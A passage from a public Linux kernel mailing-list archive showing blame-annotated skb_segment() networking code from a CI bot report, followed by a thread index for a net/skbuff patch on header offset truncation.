07b26c9454a2a19 Steffen Klassert 2016-09-19 5171 struct sk_buff *iter;
802ab55adc39a06 Alexander Duyck 2016-04-10 5172 int type = skb_shinfo(head_skb)->gso_type;
07b26c9454a2a19 Steffen Klassert 2016-09-19 5173 unsigned short gso_size = skb_shinfo(head_skb)->gso_size;
802ab55adc39a06 Alexander Duyck 2016-04-10 5174
802ab55adc39a06 Alexander Duyck 2016-04-10 5175 /* Update type to add partial and then remove dodgy if set */
07b26c9454a2a19 Steffen Klassert 2016-09-19 5176 type |= (features & NETIF_F_GSO_PARTIAL) / NETIF_F_GSO_PARTIAL * SKB_GSO_PARTIAL;
802ab55adc39a06 Alexander Duyck 2016-04-10 5177 type &= ~SKB_GSO_DODGY;
802ab55adc39a06 Alexander Duyck 2016-04-10 5178
802ab55adc39a06 Alexander Duyck 2016-04-10 5179 /* Update GSO info and prepare to start updating headers on
802ab55adc39a06 Alexander Duyck 2016-04-10 5180 * our way back down the stack of protocols.
802ab55adc39a06 Alexander Duyck 2016-04-10 5181 */
07b26c9454a2a19 Steffen Klassert 2016-09-19 5182 for (iter = segs; iter; iter = iter->next) {
07b26c9454a2a19 Steffen Klassert 2016-09-19 5183 skb_shinfo(iter)->gso_size = gso_size;
07b26c9454a2a19 Steffen Klassert 2016-09-19 5184 skb_shinfo(iter)->gso_segs = partial_segs;
07b26c9454a2a19 Steffen Klassert 2016-09-19 5185 skb_shinfo(iter)->gso_type = type;
07b26c9454a2a19 Steffen Klassert 2016-09-19 5186 SKB_GSO_CB(iter)->data_offset = skb_headroom(iter) + doffset;
07b26c9454a2a19 Steffen Klassert 2016-09-19 5187 }
07b26c9454a2a19 Steffen Klassert 2016-09-19 5188
07b26c9454a2a19 Steffen Klassert 2016-09-19 5189 if (tail->len - doffset <= gso_size)
07b26c9454a2a19 Steffen Klassert 2016-09-19 5190 skb_shinfo(tail)->gso_size = 0;
07b26c9454a2a19 Steffen Klassert 2016-09-19 5191 else if (tail != segs)
07b26c9454a2a19 Steffen Klassert 2016-09-19 5192 skb_shinfo(tail)->gso_segs = DIV_ROUND_UP(tail->len - doffset, gso_size);
802ab55adc39a06 Alexander Duyck 2016-04-10 5193 }
802ab55adc39a06 Alexander Duyck 2016-04-10 5194
432c856fcf45c46 Toshiaki Makita 2014-10-27 5195 /* Following permits correct backpressure, for protocols
432c856fcf45c46 Toshiaki Makita 2014-10-27 5196 * using skb_set_owner_w().
432c856fcf45c46 Toshiaki Makita 2014-10-27 5197 * Idea is to tranfert ownership from head_skb to last segment.
432c856fcf45c46 Toshiaki Makita 2014-10-27 5198 */
432c856fcf45c46 Toshiaki Makita 2014-10-27 5199 if (head_skb->destructor == sock_wfree) {
432c856fcf45c46 Toshiaki Makita 2014-10-27 5200 swap(tail->truesize, head_skb->truesize);
432c856fcf45c46 Toshiaki Makita 2014-10-27 5201 swap(tail->destructor, head_skb->destructor);
432c856fcf45c46 Toshiaki Makita 2014-10-27 5202 swap(tail->sk, head_skb->sk);
432c856fcf45c46 Toshiaki Makita 2014-10-27 5203 }
f4c50d990dcf11a Herbert Xu 2006-06-22 5204 return segs;
f4c50d990dcf11a Herbert Xu 2006-06-22 5205
f4c50d990dcf11a Herbert Xu 2006-06-22 5206 err:
289dccbe141e01e Eric Dumazet 2013-12-20 5207 kfree_skb_list(segs);
f4c50d990dcf11a Herbert Xu 2006-06-22 @5208 return ERR_PTR(err);
f4c50d990dcf11a Herbert Xu 2006-06-22 5209 }
--
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-08-04 12:10 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-29 18:40 [PATCH net 0/1] net: skbuff: reject skb header offset updates that truncate Zihan Xi
2026-07-29 18:40 ` [PATCH net 1/1] " Zihan Xi
2026-07-31 2:10 ` Jakub Kicinski
2026-07-31 12:07 ` Dan Carpenter
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox